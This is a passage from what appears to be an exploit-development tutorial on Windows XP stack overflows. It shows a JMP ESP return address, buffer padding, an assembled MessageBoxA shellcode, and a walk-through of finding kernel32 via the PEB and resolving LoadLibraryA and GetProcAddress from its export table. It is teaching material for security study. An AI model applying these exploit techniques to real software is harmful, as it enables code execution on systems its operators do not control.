&lt;li&gt;After &lt;code&gt;retn&lt;/code&gt; it jumps to &lt;code&gt;JMP ESP&lt;/code&gt;, and ESP goes up by 4&lt;/li&gt;
&lt;li&gt;&lt;code&gt;JMP ESP&lt;/code&gt; then lands right on the command code&lt;/li&gt;
&lt;/ul&gt;&lt;/blockquote&gt;&lt;/section&gt;&lt;section&gt;&lt;h4&gt;Numbers we need&lt;a href=&quot;#numbers-we-need&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;ul&gt;
&lt;li&gt;&lt;code&gt;JMP ESP&lt;/code&gt; address: &lt;code&gt;0x77D29353&lt;/code&gt; in User32.dll (it doesn’t have to be a real instruction from the original code, any bytes &lt;code&gt;0xFFE4&lt;/code&gt; will do)&lt;/li&gt;
&lt;li&gt;Size of the junk: 52 bytes = buffer (44 bytes) + authenticated (4 bytes) + EBP (4 bytes)&lt;/li&gt;
&lt;/ul&gt;&lt;/section&gt;&lt;section&gt;&lt;h4&gt;The final code&lt;a href=&quot;#the-final-code&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;blockquote&gt;&lt;p&gt;This is the command code to run&lt;/p&gt;&lt;/blockquote&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;33DB                      &lt;/span&gt;&lt;span&gt;xor&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;/span&gt;&lt;span&gt;ebx&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt;ebx&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;53&lt;/span&gt;&lt;span&gt;&lt;span&gt;                        &lt;/span&gt;&lt;span&gt;push&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;/span&gt;&lt;span&gt;ebx&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;68&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;77657374&lt;/span&gt;&lt;span&gt;&lt;span&gt;               &lt;/span&gt;&lt;span&gt;push&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;/span&gt;&lt;span&gt;0x74736577&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;4&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;68&lt;/span&gt;&lt;span&gt;&lt;span&gt; 6661696C               &lt;/span&gt;&lt;span&gt;push&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;/span&gt;&lt;span&gt;0x6C696166&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;5&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;8BC4                      &lt;/span&gt;&lt;span&gt;mov&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;/span&gt;&lt;span&gt;eax&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt;esp&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;6&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;53&lt;/span&gt;&lt;span&gt;&lt;span&gt;                        &lt;/span&gt;&lt;span&gt;push&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;/span&gt;&lt;span&gt;ebx&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;7&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;50&lt;/span&gt;&lt;span&gt;&lt;span&gt;                        &lt;/span&gt;&lt;span&gt;push&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;/span&gt;&lt;span&gt;eax&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;8&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;50&lt;/span&gt;&lt;span&gt;&lt;span&gt;                        &lt;/span&gt;&lt;span&gt;push&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;/span&gt;&lt;span&gt;eax&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;9&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;53&lt;/span&gt;&lt;span&gt;&lt;span&gt;                        &lt;/span&gt;&lt;span&gt;push&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;/span&gt;&lt;span&gt;ebx&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;10&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;B8 EA07D577               &lt;/span&gt;&lt;span&gt;mov&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;/span&gt;&lt;span&gt;eax&lt;/span&gt;&lt;span&gt;,user32.MessageBoxA&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;11&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;FFD0                      &lt;/span&gt;&lt;span&gt;call&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;/span&gt;&lt;span&gt;eax&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;12&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;B8 FACA817C               &lt;/span&gt;&lt;span&gt;mov&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;/span&gt;&lt;span&gt;eax&lt;/span&gt;&lt;span&gt;,kernel32.ExitProcess&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;13&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;FFD0                      &lt;/span&gt;&lt;span&gt;call&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;/span&gt;&lt;span&gt;eax&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;blockquote&gt;&lt;p&gt;The final shellcode&lt;/p&gt;&lt;/blockquote&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;34 33 32 31 34 33 32 31  34 33 32 31 34 33 32 31&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;34 33 32 31 34 33 32 31  34 33 32 31 34 33 32 31&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;34 33 32 31 34 33 32 31  34 33 32 31 34 33 32 31&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;4&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;34 33 32 31 53 93 D2 77  33 DB 53 68 77 65 73 74&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;5&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;68 66 61 69 6C 8B C4 53  50 50 53 B8 EA 07 D5 77&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;6&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;FF D0 B8 FA CA 81 7C FF  D0&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;This time MessageBoxA is at &lt;code&gt;0x77D507EA&lt;/code&gt;, while the earlier one used &lt;code&gt;0x77D507EC&lt;/code&gt;, and both pop the box. Those two bytes are most likely the &lt;code&gt;mov edi, edi&lt;/code&gt; at the start of the function (reserved for hot patching since XP SP2), so skipping it and starting right at &lt;code&gt;push ebp&lt;/code&gt; works fine. I also added an ExitProcess at the end, so the program no longer crashes after the popup.&lt;/p&gt;&lt;p&gt;The stack position is solved, but the API addresses are still hardcoded and break on another machine. The next step is to let the shellcode find the APIs on its own.&lt;/p&gt;&lt;hr /&gt;&lt;/section&gt;&lt;/section&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;Loading APIs dynamically&lt;a href=&quot;#loading-apis-dynamically&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;section&gt;&lt;h3&gt;Finding API addresses through the TEB&lt;a href=&quot;#finding-api-addresses-through-the-teb&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;section&gt;&lt;h4&gt;Finding Kernel32.dll&lt;a href=&quot;#finding-kernel32dll&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;ul&gt;
&lt;li&gt;In user mode, the base of the FS segment is the current thread’s TEB (&lt;code&gt;[FS:0x18]&lt;/code&gt; holds the TEB’s own address, and &lt;code&gt;[FS:0]&lt;/code&gt; is the head of the SEH chain)&lt;/li&gt;
&lt;li&gt;At offset 0x30 in the TEB, &lt;code&gt;[TEB + 0x30]&lt;/code&gt;, sits the address of the PEB&lt;/li&gt;
&lt;li&gt;At offset 0xC in the PEB, &lt;code&gt;[PEB + 0xC]&lt;/code&gt;, sits PEB_LDR_DATA&lt;/li&gt;
&lt;li&gt;Microsoft’s official description of PEB_LDR_DATA is &lt;a href=&quot;https://learn.microsoft.com/en-us/windows/win32/api/winternl/ns-winternl-peb_ldr_data&quot; target=&quot;_blank&quot;&gt;here&lt;/a&gt;. In C it looks like this&lt;/li&gt;
&lt;/ul&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;typedef&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;struct&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;_PEB_LDR_DATA&lt;/span&gt;&lt;span&gt; {&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;BYTE&lt;/span&gt;&lt;span&gt;       &lt;/span&gt;&lt;span&gt;Reserved1&lt;/span&gt;&lt;span&gt;[&lt;/span&gt;&lt;span&gt;8&lt;/span&gt;&lt;span&gt;];&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;PVOID&lt;/span&gt;&lt;span&gt;      &lt;/span&gt;&lt;span&gt;Reserved2&lt;/span&gt;&lt;span&gt;[&lt;/span&gt;&lt;span&gt;3&lt;/span&gt;&lt;span&gt;];&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;4&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;LIST_ENTRY&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;InMemoryOrderModuleList&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;5&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;} &lt;/span&gt;&lt;span&gt;PEB_LDR_DATA&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;*&lt;/span&gt;&lt;span&gt;PPEB_LDR_DATA&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;blockquote&gt;&lt;p&gt;And here’s what I found while debugging&lt;/p&gt;&lt;/blockquote&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;typedef&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;struct&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;_PEB_LDR_DATA&lt;/span&gt;&lt;span&gt; {&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;ULONG&lt;/span&gt;&lt;span&gt;      &lt;/span&gt;&lt;span&gt;Length&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;UCHAR&lt;/span&gt;&lt;span&gt;      &lt;/span&gt;&lt;span&gt;Initialized&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;4&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;PVOID&lt;/span&gt;&lt;span&gt;      &lt;/span&gt;&lt;span&gt;SsHandle&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;5&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;LIST_ENTRY&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;InLoadOrderModuleList&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;span&gt;            // +0x0C&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;6&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;LIST_ENTRY&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;InMemoryOrderModuleList&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;span&gt;          // +0x14&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;7&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;LIST_ENTRY&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;InInitializationOrderModuleList&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;span&gt;  // +0x1C&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;8&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;PVOID&lt;/span&gt;&lt;span&gt;      &lt;/span&gt;&lt;span&gt;EntryInProgress&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;9&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;UCHAR&lt;/span&gt;&lt;span&gt;      &lt;/span&gt;&lt;span&gt;ShutdownInProgress&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;10&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;PVOID&lt;/span&gt;&lt;span&gt;      &lt;/span&gt;&lt;span&gt;ShutdownThreadId&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;11&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;} &lt;/span&gt;&lt;span&gt;PEB_LDR_DATA&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;*&lt;/span&gt;&lt;span&gt;PPEB_LDR_DATA&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;We read InInitializationOrderModuleList (the modules in initialization order) to get the address of Kernel32.dll. The list is a LIST_ENTRY, which Microsoft documents like this&lt;/li&gt;
&lt;/ul&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;typedef&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;struct&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;_LIST_ENTRY&lt;/span&gt;&lt;span&gt; {&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;   &lt;/span&gt;&lt;span&gt;struct&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;_LIST_ENTRY&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;*&lt;/span&gt;&lt;span&gt;Flink&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;   &lt;/span&gt;&lt;span&gt;struct&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;_LIST_ENTRY&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;*&lt;/span&gt;&lt;span&gt;Blink&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;4&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;} &lt;/span&gt;&lt;span&gt;LIST_ENTRY&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;*&lt;/span&gt;&lt;span&gt;PLIST_ENTRY&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;*&lt;/span&gt;&lt;span&gt;RESTRICTED_POINTER&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;PRLIST_ENTRY&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;blockquote&gt;&lt;p&gt;What I found while debugging is that the list nodes are actually embedded in each module’s LDR_DATA_TABLE_ENTRY. Looking forward from the InInitializationOrderLinks node, it goes like this&lt;/p&gt;&lt;/blockquote&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;typedef&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;struct&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;LinkNode&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;{&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;struct&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;LinkNode&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;*&lt;/span&gt;&lt;span&gt;Flink&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;4&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;struct&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;LinkNode&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;*&lt;/span&gt;&lt;span&gt;Blink&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;5&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;PVOID&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;DllAddress&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;span&gt;   // +0x08, which is DllBase in LDR_DATA_TABLE_ENTRY&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;6&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;} &lt;/span&gt;&lt;span&gt;LinkNode&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;So DllAddress lives at &lt;code&gt;+0x8&lt;/code&gt; in each list node. On XP the first two nodes of this list are &lt;code&gt;Ntdll -&amp;gt; Kernel32&lt;/code&gt;. Starting with Windows 7 there’s a KernelBase in between, making it &lt;code&gt;Ntdll -&amp;gt; KernelBase -&amp;gt; Kernel32&lt;/code&gt;, so the “take the second node” trick below only gets you kernel32 on XP&lt;/li&gt;
&lt;/ul&gt;&lt;/section&gt;&lt;section&gt;&lt;h4&gt;Finding API addresses (reversing Kernel32.dll)&lt;a href=&quot;#finding-api-addresses-reversing-kernel32dll&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;blockquote&gt;&lt;p&gt;The previous part got us Kernel32’s base address. This part uses it to get &lt;code&gt;LoadLibrary&lt;/code&gt; and &lt;code&gt;GetProcAddress&lt;/code&gt;, which we then use to get every other function&lt;/p&gt;&lt;/blockquote&gt;&lt;ul&gt;
&lt;li&gt;Offset &lt;code&gt;0x3C&lt;/code&gt; points to the PE header, whose signature is &lt;code&gt;0x5045&lt;/code&gt;, the text &lt;code&gt;PE&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Another &lt;code&gt;0x78&lt;/code&gt; from there is the export table address (Export Directory RVA). That puts us at &lt;code&gt;0x168&lt;/code&gt;, and the value is &lt;code&gt;0x262C&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Another &lt;code&gt;0x4&lt;/code&gt; is the export table size (Export Directory Size), which is &lt;code&gt;0x6CFD&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;On disk the smallest section unit is &lt;code&gt;0x200&lt;/code&gt;, but loaded into memory it becomes &lt;code&gt;0x1000&lt;/code&gt;. The PE header takes &lt;code&gt;0x400&lt;/code&gt; in the file but &lt;code&gt;0x1000&lt;/code&gt; once mapped, a difference of &lt;code&gt;0xC00&lt;/code&gt;, so subtract &lt;code&gt;0xC00&lt;/code&gt; from &lt;code&gt;0x262C&lt;/code&gt; to get the Export Directory’s position in the file, &lt;code&gt;0x1A2C&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;The export directory (IMAGE_EXPORT_DIRECTORY) holds the RVAs of three tables. &lt;code&gt;+0x1C&lt;/code&gt; is the function address table AddressOfFunctions, &lt;code&gt;+0x20&lt;/code&gt; the name table AddressOfNames, and &lt;code&gt;+0x24&lt;/code&gt; the ordinal table AddressOfNameOrdinals&lt;/li&gt;
&lt;li&gt;To find a function, look up its name in the name table and note its index i, take the i-th WORD from the ordinal table to get the ordinal, then use that ordinal to read the RVA from the function address table. Add the base, and that’s the function’s address&lt;/li&gt;
&lt;li&gt;That’s how you find &lt;code&gt;LoadLibraryA&lt;/code&gt; and &lt;code&gt;GetProcAddress&lt;/code&gt;, and with those two you can get any other API&lt;/li&gt;
&lt;/ul&gt;&lt;hr /&gt;&lt;/section&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;Debugging shellcode (ExpStd0301)&lt;a href=&quot;#debugging-shellcode-expstd0301&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;char&lt;/span&gt;&lt;span&gt; shellcode&lt;/span&gt;&lt;span&gt;[]&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;\x10\x10&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;void&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;main&lt;/span&gt;&lt;span&gt;()&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;4&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;{&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;5&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span&gt;__asm&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;6&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span&gt;{&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;7&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;lea eax, shellcode&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;8&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;push eax&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;9&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;ret&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;10&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;  